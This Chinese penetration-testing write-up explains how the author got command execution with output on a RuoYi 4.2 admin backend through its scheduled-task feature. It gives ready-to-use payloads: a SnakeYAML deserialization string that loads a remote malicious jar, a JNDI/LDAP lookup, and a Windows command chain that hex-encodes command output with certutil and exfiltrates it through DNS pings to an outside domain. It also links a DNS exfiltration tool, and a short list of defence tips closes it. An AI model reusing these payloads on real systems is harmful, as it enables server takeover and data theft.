曲折的命令执行回显
字数 900 2025-08-24 16:48:15
曲折的命令执行回显技术详解
0x01 背景与发现
在渗透测试过程中发现了一处若依(RuoYi)系统漏洞,该系统版本为4.2。进入后台后尝试常规攻击方法失败,但通过曲折的方式最终实现了命令执行和回显。
0x02 初始攻击尝试
2.1 内存马注入尝试
使用Yaml反序列化加载恶意jar包:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]')
结果:系统成功访问了VPS上的jar包,但内存马注入失败,访问时跳转回登录界面。
关键发现:公开的内存马工具对若依4.2版本无效。
2.2 JNDI/LDAP攻击转向
使用LDAP协议执行命令:
javax.naming.InitialContext.lookup('ldap://vps')
验证步骤:
- 启动JNDI服务
- 使用DNSURL测试可用链
- 确认DNS成功获取请求,证明链可用
命令执行验证:
ping dns服务器
成功接收到DNS请求,确认命令执行可行。
0x03 无回显问题解决
3.1 问题描述
- 定时任务漏洞无回显
- 常规上线方法(powershell、远程下载文件)均失败
3.2 DNS回显技术
工具:HexDnsEchoT (修改自sv3nbeast的工具)
- 修复了时区问题
- 添加了新功能
- 使用更便捷
工作原理:
- 将命令结果输出到文件
- 对文件进行hex编码生成txt
- 逐行读取文件
- 将hex编码通过DNS外带
- 工具访问DNS服务器获取结果
- 整理拼接DNS响应
- hex解码获取原始结果
示例命令:
del ipconfig7 && del ipconfig7.txt && ipconfig > ipconfig7 && echo 11111111111 >>ipconfig7 && certutil -encodehex ipconfig7 ipconfig7.txt && for /f "tokens=1-17" %a in ( ipconfig7.txt ) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.ipconfig.bec7d9a8.dnsbug.cn.
命令分解:
- 删除旧文件
- 执行ipconfig并将结果保存
- 添加分隔标记
- 对结果进行hex编码
- 逐行读取hex文件并通过DNS外带
0x04 技术要点总结
- 若依系统特性:4.2版本对公开内存马工具有防护
- 攻击转向:当一种攻击方式失败时,及时转向其他可行方案(JNDI/LDAP)
- 无回显处理:利用DNS协议进行数据外带
- 数据编码:使用hex编码确保数据完整传输
- 命令构造:精心设计命令实现自动化数据收集和外带
0x05 防御建议
- 限制系统不必要的出网连接
- 监控异常的DNS查询请求
- 对定时任务功能进行严格的权限控制
- 更新系统到最新版本
- 禁用不必要的Java反序列化功能
0x06 工具获取
HexDnsEchoT工具地址:
https://github.com/A0WaQ4/HexDnsEchoT
该工具已修复原版时区问题并添加了新功能,适用于各种DNS回显场景。